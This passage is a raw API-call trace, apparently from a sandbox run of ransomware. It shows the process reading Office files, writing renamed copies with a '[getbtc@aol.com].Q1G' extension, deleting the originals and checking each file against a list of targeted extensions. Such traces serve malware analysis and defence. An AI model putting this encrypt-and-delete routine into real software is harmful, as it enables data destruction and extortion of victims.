lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0262.149] WriteFile (in: hFile=0x388, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0262.149] SetEndOfFile (hFile=0x388) returned 1 [0262.149] CloseHandle (hObject=0x388) returned 1 [0262.149] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.149] SetEndOfFile (hFile=0x3a0) returned 1 [0262.151] CloseHandle (hObject=0x3a0) returned 1 [0262.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico")) returned 1 [0262.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0262.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0262.152] lstrlenW (lpString=".doc") returned 4 [0262.152] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.152] lstrlenW (lpString=".docx") returned 5 [0262.152] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0262.152] lstrlenW (lpString=".pdf") returned 4 [0262.152] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.152] lstrlenW (lpString=".xls") returned 4 [0262.152] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.152] lstrlenW (lpString=".xlsx") returned 5 [0262.152] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0262.152] lstrlenW (lpString=".ppt") returned 4 [0262.152] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0262.152] lstrlenW (lpString=".zip") returned 4 [0262.152] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.152] lstrlenW (lpString=".rar") returned 4 [0262.153] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.153] lstrlenW (lpString=".bz2") returned 4 [0262.153] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.153] lstrlenW (lpString=".7z") returned 3 [0262.153] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0262.153] lstrlenW (lpString=".dbf") returned 4 [0262.153] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0262.153] lstrlenW (lpString=".1cd") returned 4 [0262.153] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0262.153] lstrlenW (lpString=".jpg") returned 4 [0262.153] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0262.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0262.153] lstrlenW (lpString=".doc") returned 4 [0262.153] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.153] lstrlenW (lpString=".docx") returned 5 [0262.153] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0262.153] lstrlenW (lpString=".pdf") returned 4 [0262.153] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.153] lstrlenW (lpString=".xls") returned 4 [0262.153] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.153] lstrlenW (lpString=".xlsx") returned 5 [0262.153] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0262.153] lstrlenW (lpString=".ppt") returned 4 [0262.153] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0262.153] lstrlenW (lpString=".zip") returned 4 [0262.153] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.153] lstrlenW (lpString=".rar") returned 4 [0262.153] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.153] lstrlenW (lpString=".bz2") returned 4 [0262.153] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.153] lstrlenW (lpString=".7z") returned 3 [0262.154] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0262.154] lstrlenW (lpString=".dbf") returned 4 [0262.154] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0262.154] lstrlenW (lpString=".1cd") returned 4 [0262.154] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0262.154] lstrlenW (lpString=".jpg") returned 4 [0262.154] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.154] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0262.154] lstrlenW (lpString="NOTE.CFG") returned 8 [0262.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0262.538] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=781) returned 1 [0262.538] CloseHandle (hObject=0x1c0) returned 1 [0262.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg")) returned 0x20 [0262.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0262.811] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.811] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0262.812] GetLastError () returned 0x0 [0262.812] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x30d, lpOverlapped=0x0) returned 1 [0262.813] WriteFile (in: hFile=0x388, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x310, lpOverlapped=0x0) returned 1 [0262.814] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0262.814] WriteFile (in: hFile=0x388, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0262.814] SetEndOfFile (hFile=0x388) returned 1 [0262.815] CloseHandle (hObject=0x388) returned 1 [0262.815] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.815] SetEndOfFile (hFile=0x3e0) returned 1 [0262.817] CloseHandle (hObject=0x3e0) returned 1 [0262.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg")) returned 1 [0262.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0262.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0262.818] lstrlenW (lpString=".doc") returned 4 [0262.818] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.818] lstrlenW (lpString=".docx") returned 5 [0262.818] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0262.818] lstrlenW (lpString=".pdf") returned 4 [0262.818] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.818] lstrlenW (lpString=".xls") returned 4 [0262.818] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.818] lstrlenW (lpString=".xlsx") returned 5 [0262.818] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0262.818] lstrlenW (lpString=".ppt") returned 4 [0262.818] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0262.818] lstrlenW (lpString=".zip") returned 4 [0262.818] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.818] lstrlenW (lpString=".rar") returned 4 [0262.818] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.818] lstrlenW (lpString=".bz2") returned 4 [0262.818] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.818] lstrlenW (lpString=".7z") returned 3 [0262.818] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0262.818] lstrlenW (lpString=".dbf") returned 4 [0262.818] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0262.818] lstrlenW (lpString=".1cd") returned 4 [0262.818] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0262.818] lstrlenW (lpString=".jpg") returned 4 [0262.818] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0262.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0262.819] lstrlenW (lpString=".doc") returned 4 [0262.819] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.819] lstrlenW (lpString=".docx") returned 5 [0262.819] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0262.819] lstrlenW (lpString=".pdf") returned 4 [0262.819] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.819] lstrlenW (lpString=".xls") returned 4 [0262.819] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.819] lstrlenW (lpString=".xlsx") returned 5 [0262.819] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0262.819] lstrlenW (lpString=".ppt") returned 4 [0262.819] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0262.819] lstrlenW (lpString=".zip") returned 4 [0262.819] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.819] lstrlenW (lpString=".rar") returned 4 [0262.819] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.819] lstrlenW (lpString=".bz2") returned 4 [0262.819] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.819] lstrlenW (lpString=".7z") returned 3 [0262.819] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0262.819] lstrlenW (lpString=".dbf") returned 4 [0262.819] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0262.819] lstrlenW (lpString=".1cd") returned 4 [0262.819] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0262.819] lstrlenW (lpString=".jpg") returned 4 [0262.819] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.819] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0262.819] lstrlenW (lpString="RECS.ICO") returned 8 [0262.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0262.821] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=2998) returned 1 [0262.821] CloseHandle (hObject=0x3e0) returned 1 [0262.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico")) returned 0x20 [0262.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0262.821] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.821] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0262.822] GetLastError () returned 0x0 [0262.822] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xbb6, lpOverlapped=0x0) returned 1 [0262.823] WriteFile (in: hFile=0x388, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0262.824] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0262.824] WriteFile (in: hFile=0x388, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0262.824] SetEndOfFile (hFile=0x388) returned 1 [0262.825] CloseHandle (hObject=0x388) returned 1 [0262.825] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.825] SetEndOfFile (hFile=0x3e0) returned 1 [0262.830] CloseHandle (hObject=0x3e0) returned 1 [0262.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico")) returned 1 [0262.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0262.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0262.831] lstrlenW (lpString=".doc") returned 4 [0262.831] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.831] lstrlenW (lpString=".docx") returned 5 [0262.831] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0262.831] lstrlenW (lpString=".pdf") returned 4 [0262.831] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.831] lstrlenW (lpString=".xls") returned 4 [0262.831] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.831] lstrlenW (lpString=".xlsx") returned 5 [0262.831] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0262.831] lstrlenW (lpString=".ppt") returned 4 [0262.831] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0262.831] lstrlenW (lpString=".zip") returned 4 [0262.831] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.831] lstrlenW (lpString=".rar") returned 4 [0262.831] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.831] lstrlenW (lpString=".bz2") returned 4 [0262.831] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.831] lstrlenW (lpString=".7z") returned 3 [0262.831] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0262.831] lstrlenW (lpString=".dbf") returned 4 [0262.831] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0262.831] lstrlenW (lpString=".1cd") returned 4 [0262.831] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0262.831] lstrlenW (lpString=".jpg") returned 4 [0262.831] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0262.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0262.831] lstrlenW (lpString=".doc") returned 4 [0262.831] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.831] lstrlenW (lpString=".docx") returned 5 [0262.831] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0262.832] lstrlenW (lpString=".pdf") returned 4 [0262.832] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.832] lstrlenW (lpString=".xls") returned 4 [0262.832] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.832] lstrlenW (lpString=".xlsx") returned 5 [0262.832] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0262.832] lstrlenW (lpString=".ppt") returned 4 [0262.832] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0262.832] lstrlenW (lpString=".zip") returned 4 [0262.832] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.832] lstrlenW (lpString=".rar") returned 4 [0262.832] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.832] lstrlenW (lpString=".bz2") returned 4 [0262.832] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.832] lstrlenW (lpString=".7z") returned 3 [0262.832] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0262.832] lstrlenW (lpString=".dbf") returned 4 [0262.832] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0262.832] lstrlenW (lpString=".1cd") returned 4 [0262.832] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0262.832] lstrlenW (lpString=".jpg") returned 4 [0262.832] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.832] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0262.832] lstrlenW (lpString="REMOTE.CFG") returned 10 [0262.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0262.833] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=779) returned 1 [0262.833] CloseHandle (hObject=0x3e0) returned 1 [0262.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg")) returned 0x20 [0262.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0262.833] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.834] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0262.834] GetLastError () returned 0x0 [0262.835] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x30b, lpOverlapped=0x0) returned 1 [0262.836] WriteFile (in: hFile=0x388, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x310, lpOverlapped=0x0) returned 1 [0262.837] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0262.837] WriteFile (in: hFile=0x388, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0262.837] SetEndOfFile (hFile=0x388) returned 1 [0262.837] CloseHandle (hObject=0x388) returned 1 [0262.837] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.837] SetEndOfFile (hFile=0x3e0) returned 1 [0262.840] CloseHandle 